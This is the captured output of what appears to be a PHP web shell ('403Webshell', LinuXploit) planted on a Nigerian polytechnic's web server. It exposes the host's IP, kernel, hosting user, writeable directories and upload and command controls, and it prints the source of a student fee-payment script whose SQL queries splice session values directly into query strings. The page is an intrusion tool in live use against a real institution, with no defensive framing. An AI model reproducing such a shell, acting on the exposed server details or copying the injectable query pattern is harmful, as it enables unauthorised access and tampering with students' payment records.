403Webshell
Server IP : 172.64.80.1  /  Your IP : 108.162.241.67
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs/admin_student/check_payment_old.php
<?php
if (!isset($_SESSION['matNo'])) {
    header('location:' . 'login.php');
}
$matNo = $_SESSION['matNo'];
// $semester = $_SESSION['asemester'];
$semester = $_SESSION['asemester']='First Semester';
$asession = $_SESSION['asession'];
$course = $_SESSION['course'];

$late_reg=$db->query("select * from remitaorder where regNo='$matNo'and paymenttype='Late Registration Penalty Charges' and transApproved='True'and `pay_session`='$asession' and status<>'Re-fund' ");
$late_reg_count=$late_reg->rowCount();
if ($late_reg_count==1){
    $s = "select * from remitaorder where regNo='$matNo'and paymenttype='School Fees' and transApproved='True'and `pay_session`='$asession' and status<>'Re-fund' ";
    $r = $db->query($s);
    $n = $r->rowCount();
    if ($n == 0) {
        //check for scholar for school fees exception
        $scholar = $db->query("select * from scholar where matNo='$matNo' and asession='$asession'");
        $scholar_count = $scholar->rowCount();
        if ($scholar_count == 0){
            header('location:' . 'remitaschoolfee.php');
        }
    }
}else{
    header('location:' . 'late_remitaPayment.php');
}





?>

Youez - 2016 - github.com/yon3zu
LinuXploit